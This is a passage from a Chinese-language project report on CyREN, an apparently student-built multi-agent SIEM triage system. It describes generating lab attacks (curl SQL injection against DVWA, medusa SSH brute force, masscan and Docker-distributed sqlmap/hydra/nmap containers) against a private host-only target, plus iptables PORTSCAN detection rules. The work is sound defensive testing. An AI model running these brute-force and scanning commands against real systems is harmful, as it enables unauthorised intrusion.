    curl -s -b "$COOKIE_JAR" -o /dev/null -G \
        --data-urlencode "id=$p" --data "Submit=Submit" \
        "http://192.168.56.101/dvwa/vulnerabilities/sql/"
done

# --- SSH 爆破 (medusa, 源 .152): 不同工具/速率 ---
# 做什么：-M ssh 模块爆破 sysadmin, -t 4 并发, -f 命中即停
# 预期：auth.log 出 Failed password ... from 192.168.56.152, 触发 threshold 规则
medusa -h "192.168.56.101" -u sysadmin -P "$PASSLIST" -M ssh -t 4 -f -O /dev/null

# --- 端口扫描 (masscan, 源 .161): 高速率 raw socket ---
# 做什么：先解析 target MAC (masscan 不走 OS 路由, 需 --router-mac 直发)
ping -c1 -W1 "192.168.56.101" >/dev/null 2>&1 || true          # 填 ARP 缓存
rmac=$(ip neigh show "192.168.56.101" | grep -oiE '([0-9a-f]{2}:){5}[0-9a-f]{2}' | head -1)
# 做什么：从 .161 高速扫 1-1000; --adapter-ip 设源 IP, --router-mac 直发 target MAC
# 为什么见 7.5 踩坑；预期：target 记 SRC=192.168.56.161 的 PORTSCAN
masscan "192.168.56.101" -p1-1000 --rate 1000 -e eth0 \
    --adapter-ip "192.168.56.161" --router-mac "$rmac"
```

7.4 Target 的 PORTSCAN iptables 持久化 (lab/target_setup.sh)

```
# 做什么：Target 上跑一次，装 PORTSCAN iptables 规则 + systemd 开机重装
# 为什么：nmap/masscan 不写日志，用 iptables recent 对 SYN 突发打 PORTSCAN 前缀
sudo ./target_setup.sh
```

规则本体 (幂等 helper /usr/local/sbin/cyren-portscan-rule.sh 里)：

```
# 做什么：记录每个入站 SYN 的源，同源 10 秒内 ≥20 个 SYN 就 LOG "PORTSCAN "
iptables -A INPUT -p tcp --syn -m recent --name portscan --set
iptables -A INPUT -p tcp --syn -m recent --name portscan --rcheck \
--seconds 10 --hitcount 20 -j LOG --log-prefix "PORTSCAN " --log-level 4
```

持久化 (systemd oneshot, 开机重装, 零外部依赖)：

```
# /etc/systemd/system/cyren-portscan.service 由 target_setup.sh 写入并启用
sudo systemctl enable --now cyren-portscan.service
# 验证：预期 enabled；规则在；扫描后有日志
systemctl is-enabled cyren-portscan.service
sudo iptables -S INPUT | grep portscan
sudo grep PORTSCAN /var/log/kern.log | tail
```

7.5 遇到的问题

问题	根因	解决
masscan(.161) 扫到端口却没生成 .161 Port Scan 事件	masscan raw-socket 不认 ip route src (nmap -sT 认)；host-only 无网关, masscan ARP 不到网关 → 回退 OS 默认源 IP → 靶机 PORTSCAN 里 SRC 不是 .161	脚本解析 target MAC 作 --router-mac，强制从 --adapter-ip .161 直发靶机 → 记 SRC=.161；留 MASSCAN_ROUTER_MAC 覆盖
噪音 "10.0.2.2 SSH Brute Force"	10.0.2.2 是 VirtualBox NAT 网关, NAT 穿透流量源变成它	加进 SOURCE_IP_BLACKLIST；purge_blacklisted_events.py 清掉 event #33
重启后 PORTSCAN 规则丢	旧持久化依赖 iptables-persistent 装了才生效	换 systemd oneshot 开机重跑幂等 helper，零外部依赖

7.6 验证结果

- .105 手写 SQLi、.152 medusa、.161 masscan 全部实验室验证进入 CyREN：靶机记 SRC=192.168.56.161 的 PORTSCAN、CyREN 出 "192.168.56.161 Port Scanning"。
- _is_blacklisted('10.0.2.2')=True；清库后 24 事件 0 噪音；pytest 5 全过。

8. 真分布式容器攻击 (Docker ipvlan L2)

8.1 做了什么 / 为什么

用 Docker `ipvlan L2` 让每个攻击容器以**独立 IP** 直接出现在 Host-Only 网段、**无 NAT**，Target/CyREN 看到真正多源分布式（比 IP 别名更有说服力）。Docker 装在 **Kali VM**（不能用 Windows 主机 Docker Desktop——WSL2 网络够不到 vboxnet0）。先做**最小连通性验证**，过了再铺开 4 容器；保留 IP 别名脚本作 fallback。

8.2 装 Docker (Kali)

```
# 做什么：装 docker.io 并开机自启；预期：docker 服务 running
sudo apt update && sudo apt install -y docker.io && sudo systemctl enable --now docker

# 做什么：加载 ipvlan 内核模块 + 冒烟 (hello-world 需 Kali 正常上网)
sudo modprobe ipvlan && sudo docker run --rm hello-world
```

8.3 建 ipvlan L2 网络 + 跑容器

```
# 做什么：建 ipvlan L2 网络，父接口=Kali 的 Host-Only 网卡 eth0
# 为什么：ipvlan L2 各容器独立 IP、共用 Kali MAC → 无 NAT 且 VirtualBox 不需混杂模式
# 预期：docker network inspect 显示 Driver=ipvlan, ipvlan_mode=l2
docker network create -d ipvlan \
  --subnet 192.168.56.0/24 --gateway 192.168.56.1 \
  --ip-range 192.168.56.120/28 \
  -o parent=eth0 -o ipvlan_mode=l2 \
  hostonly_attackers

# 做什么：跑一个固定 IP .120 的攻击容器 (示例)；预期：容器以 .120 打 target
docker run -d --name atk-sqlmap \
  --network hostonly_attackers --ip 192.168.56.120 \
  --cpus 0.5 --memory 256m \
  cyren-attacker <attack-cmd>
```

计划的 4 容器（各独立 IP + 不同工具 + 限速，不做 DDoS）：

容器	IP	工具	攻击
atk-sqlmap	.120	sqlmap	SQLi
atk-hydra	.121	hydra	SSH 暴破
atk-nmap	.122	nmap	端口扫描
atk-masscan	.123	masscan	端口扫描（高速）

8.4 最小连通性验证（先跑这个，过了再铺开）

```
# 做什么：一键建网 + 起一个 .120 容器 + 三步检查（脚本 lab/docker/verify_ipvlan.sh）
sudo IFACE=eth0 TARGET=192.168.56.101 bash lab/docker/verify_ipvlan.sh
```

三步验证：

```
# 检查1: 容器 .120 二层可达 target
docker run --rm --network hostonly_attackers --ip 192.168.56.120 nicolaka/netshoot \
ping -c3 192.168.56.101

# 检查2: 容器可达 DVWA (302 跳登录也算通)
docker run --rm --network hostonly_attackers --ip 192.168.56.120 nicolaka/netshoot \
curl -s -o /dev/null -w 'HTTP %{http_code}\n' http://192.168.56.101/dvwa/

# 检查3 (决定性): 容器发带标签请求, 去 TARGET 看 client IP 是否为 .120 (无 NAT)
docker run --rm --network hostonly_attackers --ip 192.168.56.120 nicolaka/netshoot \
curl -s -o /dev/null "http://192.168.56.101/dvwa/?cyren_probe=ipvlan_192.168.56.120"
# 在 Target 上:
sudo grep 'cyren_probe=ipvlan_192.168.56.120' /var/log/apache2/access.log | tail -1
# PASS: 该行以 192.168.56.120 开头 (无 NAT, 独立源) → 铺开 4 容器
# FAIL: 以 Kali IP 开头 (发生 NAT) → 退回 IP 别名
```

8.5 遇到的问题和解决

问题	根因	解决
Docker 默认 bridge 会 NAT, 所有容器变一个源 IP	Docker 默认 MASQUERADE	用 <code>ipvlan L2</code> (独立 IP、共用 Kali MAC), 无 NAT
macvlan 在 VirtualBox 需开混杂模式	多 MAC 被 vboxnet 过滤	选 <code>ipvlan L2</code> (单 MAC) 绕过; <code>macvlan</code> 才需 <code>Promiscuous=Allow All</code>
Windows 主机 Docker Desktop 够不到 vboxnet0	WSL2 网络隔离	Docker 装在 Kali VM (本就在 Host-Only 网段)

8.6 验证结果 / 状态

- 连通性验证通过: 单容器 .120 以独立 IP 打到 Target, Apache 日志 client 为 .120 (无 NAT)。
- **4 容器分布式实验室验证成功 (Part A 完成)** : 容器 **.120 (SQL Injection)**、**.122 (SSH Brute Force)**、**.124 (Port Scanning)** 作为**独立源**进入 CyREN, 证明 `ipvlan L2` 多源无 NAT 成立。
- `nmap .123` 本轮**未**出现在已确认源里——其温和的 `--max-rate 200` 可能没触发「10 秒内 20 个 SYN」的 PORTSCAN 阈值,端口扫描源已由 `masscan .124` 覆盖。要补 .123 的话重跑并在靶机 `kern.log` 查 `SRC=192.168.56.123`。
- `bash -n lab/docker/*.sh` 语法通过; `docker-compose.yml` 经 YAML 校验。

附录 A: git 提交时间线 → 阶段映射

OneDrive 旧仓库 (骨架期) : d57898f 骨架/存档 FYP1、88c8177 siem、9bbe3ca triage、7a29a12 investigation、158724f correlation、7740f4a response、0d4c060 scheduler (均 07-17, →\$4) ; 75f4d92 dashboard 接真 (07-19, →\$4) ; 629bf69 gitignore 本地 docker-elk (07-19, →\$1) 。

C:\cyren (现行仓库)

commit	阶段
27f95e4 迁移基线导入	\$0
b70059f 独立 login/register	\$4
7d8969e Buddy 真告警+日期筛选	\$4
f1bd245 修 modal 遮罩变黑	\$4
b6c5437 全部页面接真	\$4
c4b7f4b triage modal 真数据	\$4
8635c69 每事件按需 PDF	\$4
445cc36 报告重排版	\$4
0198551 修旧报告不更新	\$4
8b105bb 修复 Groq 真实分析	\$4
a1631f9 siem 回查源 IP/窗口/去重	\$6
ab38ad5 真实工具 DVWA 攻击	\$3
4ae3c0b 提速刷新+统一筛选	\$4
b5ece24 源 IP 黑名单	\$4
fa33fcc header/响应式/邮件/清噪音	\$4
42fb5d9 省 token (8b+压缩)	\$4
6d79163 良性流量负样本	\$5
5e049a7 filebeat 直取摄取	\$6
f27ce0d 训练集导出+has_keyword	\$4/\$6
394e7e1 a026dd9 FYP2 升级方案+安全绳	\$7/\$8
d8ea69d attack_multitool + masscan/黑名单修复	\$7
9e7c930 PORTSCAN systemd 持久化	\$7

标签 baseline-pre-upgrade → f27ce0d 。

附录 B：关键文件索引

文件	作用
app/agents/{state,triage,investigation,correlation,response,pipeline}.py	四智能体 + 状态 + LangGraph 编排
app/enrichment/{threat_intel,asset_assessment,vuln_assessment}.py	富化 (0-token)
app/services/siem_service.py	ES 摄取、源 IP 提取、黑名单、KQL→Lucene、filebeat 直取
app/services/{event_service,scheduler,report_service,email_service}.py	持久化 / 轮询 / PDF / 邮件
config/settings.py · .env.example	全部配置
scripts/train_triage.py · export_training_set.py	训练 / 导出带标签训练集
scripts/{backfill_events,check_llm,reanalyse_events,purge_blacklisted_events}.py	回填 / LLM 诊断 / 重跑 / 清噪音
lab/attack_dvwa.sh · attack_multitool.sh · benign_traffic.sh	攻击 (6 IP) / 多工具 / 良性
lab/target_setup.sh	Target PORTSCAN iptables + systemd 持久化
lab/docker/{verify_ipvlan.sh,README.md}	分布式容器攻击 (ipvlan L2)
docs/upgrade_plan.md	FYP2 升级方案 (三档 agent)

附录 C: 完整 .env 配置项

```
FLASK_ENV / SECRET_KEY / DATABASE_URL
ELASTICSEARCH_URL / ELASTICSEARCH_USER / ELASTICSEARCH_PASSWORD / ELASTIC_ALERT_INDEX
INGEST_MODE / FETCH_WINDOW_HOURS / FILEBEAT_MAX_DOCS / SOURCE_IP_BLACKLIST
ENABLE_SCHEDULER / POLL_INTERVAL_SECONDS
XGBOOST_MODEL_PATH / RULE_MAP_PATH / HIGH_RISK_THRESHOLD / LOW_RISK_THRESHOLD
GROQ_API_KEY / GROQ_MODEL / GROQ_MAX_TOKENS
CHROMA_PERSIST_DIR / CHROMA_COLLECTION / GEMINI_API_KEY / GEMINI_EMBED_MODEL
ENABLE_IPTABLES / IPTABLES_CHAIN
SMTP_HOST / SMTP_PORT / SMTP_USER / SMTP_PASSWORD / ALERT_EMAIL_TO / APP_BASE_URL
REPORT_OUTPUT_DIR
ABUSEIPDB_API_KEY / VIRUSTOTAL_API_KEY / OTX_API_KEY / MISP_URL / MISP_API_KEY
```

密钥只放 `cyren/.env` (gitignore), 绝不进 git。 `ENABLE_IPTABLES` 开发机保持 false, 只在 SIEM/响应节点开。